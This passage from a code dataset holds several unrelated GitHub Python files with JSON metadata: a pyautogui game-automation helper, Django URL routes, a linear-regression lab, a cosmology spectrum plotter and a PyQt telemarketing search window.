cur_op==\"sow\":\r\n        # print(\"c\")\r\n        field_location=find_image(\"full_fields.png\")\r\n    else:\r\n        field_location=find_image(\"empty_fields.png\")\r\n    # print(\"d\")\r\n    pyautogui.moveTo(field_location,duration=2)\r\n    pyautogui.mouseDown(button='left')\r\n    # time.sleep(0.001)\r\n    pyautogui.moveTo(start,duration=4)\r\n    # time.sleep(0.5)\r\n    pyautogui.mouseUp(button='left')\r\n    pyautogui.moveTo(start[0],start[1]+50,duration=1)\r\n    pyautogui.click(pyautogui.position())\r\n    pyautogui.moveTo(start,duration=1)\r\n\r\n# from pynput.keyboard import Listener as keyboardlistener,Key\r\n# from pynput.mouse import Listener as mouselistener\r\n\r\n# start_implementation=\"\"\r\n\r\n# def on_press(key):\r\n#     global start_implementation\r\n#     if key==Key.space:\r\n#         start_implementation=\" \"\r\n#         keyboardlistener.stop()\r\n\r\n# def on_click(x,y,button,pressed):\r\n#     global start\r\n#     if pressed:\r\n#         if start is None:\r\n#             start=(x,y)\r\n#             mouselistener.stop()\r\n\r\n# with keyboardlistener(on_press=on_press) as keyboardlistener:\r\n#     keyboardlistener.join()\r\n\r\n# if start_implementation==\" \":\r\n#     with mouselistener(on_click=on_click) as mouselistener:\r\n#         mouselistener.join()\r\n#     time.sleep(3)\r\n#     calibrate_field(\"sow\")", "repo_name": "aditya-garg-09-01-2002/game_automation", "sub_path": "control_ops.py", "file_name": "control_ops.py", "file_ext": "py", "file_size_in_byte": 3797, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tkinter.Tk", "line_number": 5, "usage_type": "call"}, {"api_name": "tkinter.simpledialog.askstring", "line_number": 7, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 7, "usage_type": "name"}, {"api_name": "time.time", "line_number": 11, "usage_type": "call"}, {"api_name": "time.time", "line_number": 13, "usage_type": "call"}, {"api_name": "time.time", "line_number": 14, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 20, "usage_type": "call"}, {"api_name": "tkinter.Toplevel", "line_number": 23, "usage_type": "call"}, {"api_name": "tkinter.simpledialog.askinteger", "line_number": 29, "usage_type": "call"}, {"api_name": "tkinter.simpledialog", "line_number": 29, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pyautogui.screenshot", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 37, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.TM_CCOEFF_NORMED", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.minMaxLoc", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 51, "usage_type": "call"}, {"api_name": "pyautogui.screenshot", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 54, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.TM_CCOEFF_NORMED", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.minMaxLoc", "line_number": 57, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 80, "usage_type": "call"}, {"api_name": "pyautogui.mouseDown", "line_number": 81, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 83, "usage_type": "call"}, {"api_name": "pyautogui.mouseUp", "line_number": 85, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 86, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 87, "usage_type": "call"}, {"api_name": "pyautogui.position", "line_number": 87, "usage_type": "call"}, {"api_name": "pyautogui.moveTo", "line_number": 88, "usage_type": "call"}]}
{"seq_id": "74269956388", "text": "from django.conf.urls import patterns, include, url\nfrom DAS_core.views import *\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n    url('^', include('django.contrib.auth.urls')),\n    url(r'^admin/', include(admin.site.urls)),\n    url(r'^home/$', Home.as_view(), name='home'),\n    url(r'^home-prof/$', home_prof, name='home-prof'),\n    url(r'^home-aluno/$', home_aluno, name='home-aluno'),\n    url(r'^home-prof/disc-inserir-freq/(?P\\d+)/$', FreqForm.as_view(), name='inserir-freq-disc'),\n    url(r'^home-prof/disc-inserir-nota/(?P\\d+)/$', NotaForm.as_view(), name='inserir-nota-disc'),\n    url(r'^home-prof/disc-inserir-noticia/(?P\\d+)/$', NoticiaForm.as_view(), name='inserir-noticia-disc'),\n    url(r'^disc-inserir-arquivo/(?P\\d+)/$', ArquivoForm.as_view(), name='inserir-arquivo-disc'),\n    url(r'^disc-detail-freq/(?P\\d+)/$', disc_detail, name='detalhe-freq-disc'),\n    #url(r'^disc-inserir-nota/$', inserir_nota, name='inserir-nota-disc'),\n)\n", "repo_name": "jefbsi20111/DAS", "sub_path": "src_DAS/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1048, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 6, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 6, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "20575868481", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nplt.rcParams['font.size'] = '20'\n\n# helper functions\ndef getXY(matrix, type):\n    try:\n        x_data = []\n        y_data = []\n\n        if type == 1:\n            for val in matrix:\n                x_data.append(val[0])\n                y_data.append(val[1])\n        elif type == 2:\n            for val in matrix:\n                x_data.append(val[2])\n                y_data.append(val[3]/val[2])\n\n        return [x_data, y_data]\n    except:\n        print(\"Failed to get X and Y coordinates. Check dimensions of matrix passed, it must be of Nx2 size.\")\n        exit()\n\n\ndef getNormalFuncFirstOrder(data, partnum):\n    [x, y] = getXY(data, 1)\n\n    # make A and B matrices\n    mat_a = np.empty((0, 2), dtype=float)\n    for i in range(len(x)):\n        mat_a = np.append(mat_a, np.array([[x[i], 1]]), axis=0)\n\n    mat_a = np.matrix(mat_a)\n    mat_b = np.matrix(y, dtype=float).getT()\n\n    # show data as it appears\n    plt.scatter(x, y, marker='o')\n\n    plt.xlabel('x-axis', fontsize=30)\n    plt.ylabel('y-axis', fontsize=30)\n    plt.title('Part ' + str(partnum), fontsize=32)\n    # plt.show()\n\n    mat_x = (mat_a.getT() * mat_a)\n    mat_x = np.linalg.inv(mat_x)\n    mat_x = mat_x * mat_a.getT() * mat_b\n\n    print('Solution to normal equation in part ' + str(partnum) + ':')\n    print(mat_x)\n    print()\n\n    # get form of y = m*x + b\n    m = float(mat_x[0])\n    b = float(mat_x[1])\n\n    x2 = np.linspace(min(x), max(x), 100)\n    y2 = m * x2 + b\n\n    plt.plot(x2, y2, 'r')\n    plt.ylim([0, 15])\n\n    plt.xlim([4, 10])\n    plt.show()\n    plt.close()\n\n\ndef getNormalFuncInvX(data, partnum):\n    [x, y] = getXY(data3, 2)\n\n    # make A and B matrices\n    mat_a = np.empty((0, 2), dtype=float)\n    for i in range(len(x)):\n        mat_a = np.append(mat_a, np.array([[1 / x[i], 1]]), axis=0)\n\n    mat_a = np.matrix(mat_a)\n    mat_b = np.matrix(y, dtype=float).getT()\n\n    # show data as it appears\n    plt.scatter(x, y, marker='.')\n    #plt.grid()\n\n    plt.xlabel('# of Bites', fontsize=30)\n    plt.ylabel('Kcals/bite', fontsize=30)\n    plt.title('Part ' + str(partnum), fontsize=32)\n\n    mat_x = (mat_a.getT() * mat_a)\n    mat_x = np.linalg.inv(mat_x)\n    mat_x = mat_x * mat_a.getT() * mat_b\n\n    print('Solution to normal equation in part ' + str(partnum) + ':')\n    print(mat_x)\n    print()\n\n    # get form of y = m*(1/x) + b\n    m = float(mat_x[0])\n    b = float(mat_x[1])\n\n    x2 = np.linspace(0.5, max(x), 10000)\n    y2 = m * (1 / x2) + b\n\n    plt.xlim([-10, 200])\n    plt.ylim([-10, 150])\n    # plt.yscale(\"log\")\n    # plt.xscale(\"log\")\n    plt.plot(x2, y2, 'r')\n\n    plt.show()\n    plt.close()\n\n\ndef readData(file_in):\n\n    fpt = ''  # fixes error in IDE of fpt not existing in scope (try/except will never allow for it to not be in scope)\n    try:\n        fpt = open(file_in)\n    except:\n        print(file_in + ' could not be opened. Check the filename and try again.')\n        exit()\n    try:\n        file_array = []\n\n        for line in fpt.readlines():\n            temp_array = line.replace('\\n', '').split(' ')\n            for i in range(len(temp_array)):\n                temp_array[i] = float(temp_array[i])\n            if temp_array:  # use implicit boolean property of list\n                file_array.append(temp_array)\n\n        fpt.close()\n\n        return file_array\n    except:\n        print('Something went wrong in parsing the data from ' + file_in)\n\n\n# ====================================================== PART 1 ====================================================== #\ndata1 = [[5, 1],\n         [6, 1],\n         [7, 2],\n         [8, 3],\n         [9, 5]]\n\ngetNormalFuncFirstOrder(data1, 1)  # get normal function of data based on a first order linear regression\n\n# ====================================================== PART 2 ====================================================== #\ndata2 = [[5, 1],\n         [6, 1],\n         [7, 2],\n         [8, 3],\n         [8, 14],  # added point to reduce model accuracy\n         [9, 5]]\n\n\ngetNormalFuncFirstOrder(data2, 2)  # get normal function of data based on a first order linear regression\n\n# ====================================================== PART 3 ====================================================== #\n\ndata3 = readData('data.txt')\n\ngetNormalFuncInvX(data3, 3)\n", "repo_name": "bshumin/Projects", "sub_path": "Python/Tracking Systems/Lab1/lab1.py", "file_name": "lab1.py", "file_ext": "py", "file_size_in_byte": 4280, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 3, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 3, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.linalg.inv", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "numpy.linalg.inv", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}]}
{"seq_id": "24702352496", "text": "#!/usr/bin/env python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom functions import read_hier\n\npath = 'cosmo_sim_1d/gaussian_ICs/'\nfolder_name = '/hierarchy/'\nplots_folder = 'spectra'\n\nj = 0\n\nfor j in range(11):\n    # j = 0\n    moments_filename = 'output_hierarchy_{0:04d}.txt'.format(j)\n    moments_file = np.genfromtxt(path + moments_filename)\n    a = moments_file[:,-1][0]\n    x = moments_file[:,0]\n    M0_nbody = moments_file[:,2]-1\n    M1_nbody = moments_file[:,4]\n    M2_nbody = moments_file[:,6]\n    C1_nbody = moments_file[:,5]\n    C2_nbody = moments_file[:,7]\n\n    M0_nbody -= np.mean(M0_nbody)\n    M0_k = np.fft.fft(M0_nbody) / M0_nbody.size\n    P_k = np.abs(M0_k * np.conj(M0_k))\n    k = np.fft.ifftshift(2.0 * np.pi * np.arange(-x.size/2, x.size/2))\n\n\n    plt.rcParams.update({\"text.usetex\": True})\n    plt.rcParams.update({\"font.family\": \"serif\"})\n    fig, ax = plt.subplots()\n    ax.set_title(rf'a = {np.round(a, 3)}', fontsize=14)\n    # ax.set_xlabel()\n    # ax.set_ylabel()\n    ax.tick_params(axis='both', which='both', direction='in', labelsize=12)\n    ax.yaxis.set_ticks_position('both')\n    ax.minorticks_on()\n    ax.scatter(k, P_k, c='b', s=15)\n    # ax.set_xlim(-0.5, 1000.5)\n    # ax.plot(x, C2_nbody)\n    plt.savefig(f'../plots/gauss/{plots_folder}/Pk_{j}.png', bbox_inches='tight', dpi=150)\n    plt.close()\n    # plt.show()\n", "repo_name": "mandarmk9/eft_code", "sub_path": "moment_an.py", "file_name": "moment_an.py", "file_ext": "py", "file_size_in_byte": 1361, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "numpy.genfromtxt", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.fft.fft", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.abs", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.conj", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.fft.ifftshift", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 31, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 32, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}]}
{"seq_id": "12443379594", "text": "from PyQt5 import QtWidgets\nfrom telleUI import Ui as telle\nfrom followUp_CC import Ui as followup\nfrom followUp_PL import Ui as followupPL\n\nclass Ui(QtWidgets.QWidget):\n    def __init__(self, priv, parentWin, mycursor, result, user, product, recontact=None):\n        #super(Ui, self).__init__()\n        #uic.loadUi('assets/ui/searchResult.ui', self)\n        super(Ui, self).__init__()\n\n        self.priv = priv\n        self.parentWin = parentWin\n        self.mycursor = mycursor\n        self.user = user\n        self.sResult = result\n        self.product = product\n        self.recontact = recontact\n\n        '''window_width = 800\n        window_height = 600\n        self.setFixedSize(window_width, window_height)'''\n        self.initUI()\n\n    def initUI(self):\n        self.createLayout_Container()\n        self.layout_All = QtWidgets.QVBoxLayout(self)\n        self.layout_All.addWidget(self.scrollarea)\n        self.pushButton = QtWidgets.QPushButton()\n        self.pushButton.setObjectName(\"pushButton\")\n        self.layout_All.addWidget(self.pushButton)\n        self.pushButton.setText(\"Return\")\n        self.pushButton.clicked.connect(self.closeWin)\n        self.showFullScreen()\n        self.setFixedSize(self.width(), self.height())\n        '''self.scrollArea.setGeometry(int(self.width() / 4), int(self.height() / 4), int(self.width() / 2),\n                                    int(self.height() / 2))'''\n\n    def createLayout_Container(self):\n        self.scrollarea = QtWidgets.QScrollArea(self)\n        #self.scrollarea.setFixedWidth(780)\n        self.scrollarea.setWidgetResizable(True)\n\n        self.widget = QtWidgets.QWidget()\n        self.scrollarea.setWidget(self.widget)\n        self.layout_SArea = QtWidgets.QVBoxLayout(self.widget)\n\n        if len(self.sResult) == 0:\n            self.zeroRes = QtWidgets.QLabel()\n            self.zeroRes.setText(\"No result\")\n            self.layout_SArea.addWidget(self.zeroRes)\n\n        '''self.sResult = [(1, None, '0888008080', None, 'koran', 0, None, None, '1911/000000001'),\n                        (2, 'n1', '0808080', 'jalan-jalan', 'bank m', 0, None, None, '1911/000000002'),\n                        (3, 'n2', '0888080080', 'jalan pagi', 'bank m', 0, None, None, '1911/000000003'),\n                        (4, None, '088800808000088', None, 'koran', 0, None, None, '1911/000000004')]\n                        id, nama, phone, alamat, asal_data, fetched, ??,??, unique_code'''\n\n        for i in range(len(self.sResult)):\n            self.layout_SArea.addWidget((self.createLayout_group(i)))\n        self.layout_SArea.addStretch(1)\n\n    def createLayout_group(self, num):  # question, num):\n        self.sgroupbox = QtWidgets.QGroupBox(\"Unique Code: \"+str(self.sResult[num][8]), self)\n\n        #print(self.sResult[num])\n        self.layout_groupbox = QtWidgets.QHBoxLayout(self.sgroupbox)\n\n        self.fLayout = QtWidgets.QFormLayout()\n\n        '''self.tb = QtWidgets.QLineEdit()\n        self.tb.setText(self.sResult[num][8])\n        self.tb.setEnabled(False)\n        self.fLayout.addRow(QtWidgets.QLabel(\"Unique Code:\"), self.tb)'''\n\n        self.tb = QtWidgets.QLineEdit()\n        self.tb.setText(self.sResult[num][1])\n        self.tb.setEnabled(False)\n        self.fLayout.addRow(QtWidgets.QLabel(\"Nama:\"), self.tb)\n\n        self.tb = QtWidgets.QLineEdit()\n        self.tb.setText(self.sResult[num][2])\n        self.tb.setEnabled(False)\n        self.fLayout.addRow(QtWidgets.QLabel(\"No HP:\"), self.tb)\n\n        self.tb = QtWidgets.QLineEdit()\n        self.tb.setText(self.sResult[num][4])\n        self.tb.setEnabled(False)\n        self.fLayout.addRow(QtWidgets.QLabel(\"Asal Data:\"), self.tb)\n        self.layout_groupbox.addLayout(self.fLayout)\n\n\n        if self.recontact!= None:\n            self.tb = QtWidgets.QLineEdit()\n            self.tb.setText(str(self.sResult[num][11]))\n            self.tb.setEnabled(False)\n            self.fLayout.addRow(QtWidgets.QLabel(\"Kontak Ulang:\"), self.tb)\n            self.layout_groupbox.addLayout(self.fLayout)\n\n            self.editButton = QtWidgets.QPushButton()\n            self.editButton.setText(\"Kontak Ulang\")\n            self.editButton.clicked.connect(lambda: self.editCust(self.sResult[num][0], num))\n            self.layout_groupbox.addWidget(self.editButton)\n\n        else:\n            self.editButton = QtWidgets.QPushButton()\n            self.editButton.setText(\"Edit\")\n            if self.priv!= \"adm\":\n                self.editButton.setEnabled(False)\n            self.editButton.clicked.connect(lambda: self.editCust(self.sResult[num][0]))\n            self.layout_groupbox.addWidget(self.editButton)\n\n            try:\n                #print(self.sResult[num][0])\n                self.qCheckFollUp = \"SELECT note from prod_\"+self.product+\" where cust_id = %s\"\n                self.mycursor.execute(self.qCheckFollUp, (self.sResult[num][0],))\n                self.sFollUp = self.mycursor.fetchone()\n            except Exception as e:\n                print(e)\n                self.buttonReply = QtWidgets.QMessageBox\n                self.warning = self.buttonReply.question(self, 'WARNING', str(e),\n                                                         QtWidgets.QMessageBox.Ok)\n\n            self.followUp = QtWidgets.QPushButton()\n            self.followUp.setText(\"Follow Up\")\n            self.followUp.clicked.connect(lambda: self.follup(self.sResult[num][0]))\n            self.layout_groupbox.addWidget(self.followUp)\n            self.followUp.setEnabled(False)\n            try:\n                #print(str(self.sFollUp[0]))\n                if self.sFollUp[0] == \"Tertarik\":\n                    self.followUp.setEnabled(True)\n            except Exception as e:\n                print('')\n                '''self.buttonReply = QtWidgets.QMessageBox\n                self.warning = self.buttonReply.question(self, 'WARNING', str(e),\n                                                         QtWidgets.QMessageBox.Ok)'''\n\n        return self.sgroupbox\n\n        '''self.show()\n\n        self.priv = priv\n        self.mycursor = mycursor\n        self.parentWin = parentWin\n        #self.sResult = result\n        self.sResult = [(1, None, '0888008080', None, 'koran', 0, None, None, '1911/000000001'),\n                        (2, 'n1', '0808080', 'jalan-jalan', 'bank m', 0, None, None, '1911/000000002'),\n                        (3, 'n2', '0888080080', 'jalan pagi', 'bank m', 0, None, None, '1911/000000003'),\n                        (4, None, '088800808000088', None, 'koran', 0, None, None, '1911/000000004')]\n\n        self.btn_return.clicked.connect(self.closeWin)\n\n        if len(self.sResult)!=0:\n            self.noRes.setVisible(False)\n\n            try:\n                self.cnt = 0\n                for res in range(len(self.sResult)):\n                    print(self.sResult[res])\n                    self.fLayout = QtWidgets.QFormLayout()\n\n                    self.tb = QtWidgets.QLineEdit()\n                    self.tb.setText(self.sResult[res][8])\n                    self.tb.setEnabled(False)\n                    self.fLayout.addRow(QtWidgets.QLabel(\"Unique Code:\"), self.tb)\n\n                    self.tb = QtWidgets.QLineEdit()\n                    self.tb.setText(self.sResult[res][1])\n                    self.tb.setEnabled(False)\n                    self.fLayout.addRow(QtWidgets.QLabel(\"Nama:\"), self.tb)\n\n                    self.tb = QtWidgets.QLineEdit()\n                    self.tb.setText(self.sResult[res][2])\n                    self.tb.setEnabled(False)\n                    self.fLayout.addRow(QtWidgets.QLabel(\"No HP:\"),self.tb)\n\n                    self.tb = QtWidgets.QLineEdit()\n                    self.tb.setText(self.sResult[res][4])\n                    self.tb.setEnabled(False)\n                    self.fLayout.addRow(QtWidgets.QLabel(\"Asal Data:\"), self.tb)\n                    # print(\"pop\")\n                    self.gridLayout.addLayout(self.fLayout,self.cnt*2, 0, 2, 3)\n\n                    self.editButton = QtWidgets.QPushButton()\n                    self.editButton.setText(\"Edit\")\n                    self.editButton.clicked.connect(lambda: self.editCust(self.sResult[res][0]))\n                    self.gridLayout.addWidget(self.editButton, self.cnt*2, 3)\n                    #print(\"opo1\")\n\n                    self.followUp = QtWidgets.QPushButton()\n                    self.followUp.setText(\"Follow Up\")\n                    self.followUp.clicked.connect(lambda: self.follup(self.sResult[res][0]))\n                    self.gridLayout.addWidget(self.followUp, self.cnt*2+1, 3)\n\n                    self.cnt+=1\n            except Exception as e:\n                print(str(e))'''\n\n    def editCust(self, id, num = None):\n        #print(id)\n        try:\n            if self.recontact!= None:\n                self.query = \"UPDATE prod_\"+self.product+\" set recontact_status = True where data_id = %s;\"\n                self.mycursor.execute(self.query, (self.sResult[num][10],))\n                self.mycursor.execute(\"commit;\")\n\n                self.telle = QtWidgets.QWidget()\n                self.telle.ui = telle(self.priv, self, self.mycursor, self.user,self.product, target = id, recontact= True)\n            else:\n                self.telle = QtWidgets.QWidget()\n                self.telle.ui = telle(self.priv, self, self.mycursor, self.user, self.product, target=id)\n            self.hide()\n        except Exception as e:\n            self.buttonReply = QtWidgets.QMessageBox\n            self.warning = self.buttonReply.question(self, 'WARNING', str(e),\n                                                     QtWidgets.QMessageBox.Ok)\n\n    def follup(self, id):\n        #print(\"Follup \"+str(id))\n        self.folUp = QtWidgets.QWidget()\n        if self.product.lower() == \"pl\":\n            self.folUp.ui = followupPL(self.priv, self, self.mycursor, self.user, self.product, target=id)\n        else:\n            self.folUp.ui = followup(self.priv, self, self.mycursor, self.user, self.product, target=id)\n        self.hide()\n\n    def closeWin(self):\n        self.parentWin.show()\n        self.close()\n\n'''if __name__ == \"__main__\":\n    app = QtWidgets.QApplication(sys.argv)\n\n    premain = QtWidgets.QMainWindow()\n    premain.ui = Ui()\n    sys.exit(app.exec_())'''", "repo_name": "NathanielClarence/telemarketingdb", "sub_path": "mainFiles/searchResult.py", "file_name": "searchResult.py", "file_ext": "py", "file_size_in_byte": 10221, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 6, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 6, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 29, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 40, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 40, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 44, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 44, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 46, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 49, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 49, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 64, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 64, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 67, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 67, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFormLayout", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 69, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 76, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 